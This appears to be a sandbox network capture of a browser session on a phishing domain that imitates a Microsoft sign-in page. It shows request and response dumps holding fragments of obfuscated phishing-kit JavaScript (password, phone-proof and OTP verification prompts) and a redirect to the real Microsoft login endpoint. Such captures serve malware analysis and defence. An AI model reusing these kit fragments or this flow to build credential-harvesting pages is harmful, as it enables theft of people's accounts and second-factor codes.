2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 69 6c 27 2c 27 53 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 77 61 79 27 2c 27 62 6f 64 79 27 2c 27 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 63 6b 28 74 68 69 73 29 27 2c 27 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 6f 70 74 69 6f 6e 73 27 2c 27 32 66 61 5c 78 32 30 69 73 5c 78 32 30 6f 6e 27 2c 27 65 6d 61 69 6c 27 2c 27 74 65 6c 27 2c 27 70 61 73 73 77 6f 72 64 27 2c 27 72 61 64 69 6f 27 2c 27 62 74 6e 5f 6e 65 78 74 27 2c 27 63 6f 72 72 65 63 74 5c 78 32 30 65 6d 61 69 6c 27 2c 27 23 62 74 6e 5f 76 65 72 69 66 79 6f 74 70 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 69 50 72 6f 6f 66 50 68 6f 6e 65 45 6e 74 72 79 27 2c 27 69 63 6c 6f 75 64 2e 63 6f 6d 27 2c 27 73 65 74 41 74 74 72 69 62 75 74 65 27 2c 27 69 6d Data Ascii: il','Sign\x20in\x20another\x20way','body','linkoptionclick(this)','multipleaccountoptions','2fa\x20is\x20on','email','tel','password','radio','btn_next','correct\x20email','#btn_verifyotp','querySelector','iProofPhoneEntry','icloud.com','setAttribute','im
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 69 6f 6e 28 74 68 69 73 29 27 2c 27 3c 70 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6d 62 2d 31 36 5c 78 32 32 3e 27 2c 27 62 6c 61 6e 6b 27 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 74 65 78 74 2d 62 6c 6f 63 6b 2d 62 6f 64 79 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 54 6f 5c 78 32 30 76 65 72 69 66 79 5c 78 32 30 74 68 61 74 5c 78 32 30 74 68 69 73 5c 78 32 30 69 73 5c 78 32 30 79 6f 75 72 5c 78 32 30 70 68 6f 6e 65 5c 78 32 30 6e 75 6d 62 65 72 2c 5c 78 32 30 65 6e 74 65 72 5c 78 32 Data Ascii: ion(this)','<p\x20class=\x22mb-16\x22>','blank','\x0a\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-block-body\x22\x20id=\x22iEnterProofDesc\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20To\x20verify\x20that\x20this\x20is\x20your\x20phone\x20number,\x20enter\x2
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 49 6e 70 75 74 45 72 72 6f 72 27 2c 27 2c 5c 78 32 30 61 6e 64 5c 78 32 30 74 68 65 6e 5c 78 32 30 63 6c 69 63 6b 5c 78 32 30 5c 78 32 32 53 65 6e 64 5c 78 32 30 63 6f 64 65 5c 78 32 32 5c 78 32 30 74 6f 5c 78 32 30 72 65 63 65 69 76 65 5c 78 32 30 79 6f 75 72 5c 78 32 30 63 6f 64 65 2e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 72 6f 6c 65 3d 5c 78 32 32 61 6c 65 72 74 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 69 76 65 3d 5c 78 32 32 61 73 73 65 72 74 69 76 65 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 Data Ascii: InputError',',\x20and\x20then\x20click\x20\x22Send\x20code\x22\x20to\x20receive\x20your\x20code.\x0a\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20<div\x20role=\x22alert\x22\x20aria-live=\x22assertive\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49786	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1552	OUT	POST /uheZ2JNUtohhkJJk2aSnqjTR382vFe5akZBa78xe HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Content-Length: 31 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://o5u7g.zleu9.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:02 UTC	31	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 67 75 6e 6c 59 32 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=gunlY2&type=4&appnum=1
2024-04-24 06:22:03 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LhYWWxwmSu%2BWMVdHUyZC9UW3SriIX819r6%2Fol%2BOY2oCZb5r%2B21iO2uBXjvmKciBisp3h8noU%2FGaPDvv4S%2Fw6ET%2FSQr8olWB8wrVGmKNU4YJb21MXnzIj7%2FJtVs%2FrZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 08:22:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 06:22:03 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4a 50 54 57 4e 69 4e 54 64 75 53 54 4e 5a 62 6b 6f 34 55 30 6c 47 62 44 4a 34 4f 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 48 70 44 4d 48 70 61 52 53 73 76 61 48 5a 59 57 6b 35 46 5a 58 70 31 61 57 51 30 61 54 68 6c 53 32 70 70 51 55 64 44 4e 57 31 77 64 6c 68 71 5a 69 39 78 56 55 35 56 52 54 4a 4e 62 32 64 4d 55 45 6c 61 4d 33 49 77 63 31 70 72 4e 46 41 77 62 6b 70 33 52 55 6f 7a 65 6e 5a 4b 54 32 45 35 52 7a 67 35 52 47 4a 30 4c 33 4d 72 4d 47 34 33 4e 31 64 61 53 47 39 6a 4d 56 46 78 65 6d 46 68 59 54 4e 50 55 32 51 77 63 47 30 72 63 7a 56 71 62 58 46 71 4f 54 64 4d 57 58 70 4a 61 33 55 30 61 32 78 57 4d 57 34 34 4d 58 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXk
2024-04-24 06:22:03 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-04-24 06:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49787	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1482	OUT	GET /klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:02 UTC	665	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=92%2FTLxBcO6%2FYdMqhcK9a29qWRCUpfQtEE5C1ok%2F6pDilq%2F3QHNu0lA%2Fw3mijX3cZczFWqA4hvBBF6l8BHmABWoHr17Arv5jCIrcWv9oqIqlsK2WDkqf758pprO1ZXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff220d845263-LAX
2024-04-24 06:22:02 UTC	704	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 06:22:02 UTC	1167	IN	Data Raw: 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 Data Ascii: 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="
2024-04-24 06:22:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49788	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1496	OUT	GET /klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:02 UTC	667	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g2NUfVvdyHGQNHLggdxI4MRkLSNzT1eN5dtD6uWV%2BLTDPAwgXUUNM%2F5FztGDY60yjjJYc20jFYqj94qb89spb4774b0RgVt654AQu95PDVvmpH6%2FO%2FBNqGXFOHPHkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff22180c7cc7-LAX
2024-04-24 06:22:02 UTC	702	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-04-24 06:22:02 UTC	698	IN	Data Raw: 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad Data Ascii: Ite~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49789	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:03 UTC	1134	OUT	GET /klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:04 UTC	673	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:03 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zxu66d%2B9R0rewTkEWLXSLd6LnBSRYbdcT1NOmPgjMxsw%2BSI4Vd9eSr3WSWul%2B%2Byv5WL3I4KPmjdtt9N8JZ3KODaKmHT7kJy%2BtKuJuMJVe9XZZTobe%2BBZVmlijb%2FNTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff27d8322ef9-LAX
2024-04-24 06:22:04 UTC	696	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
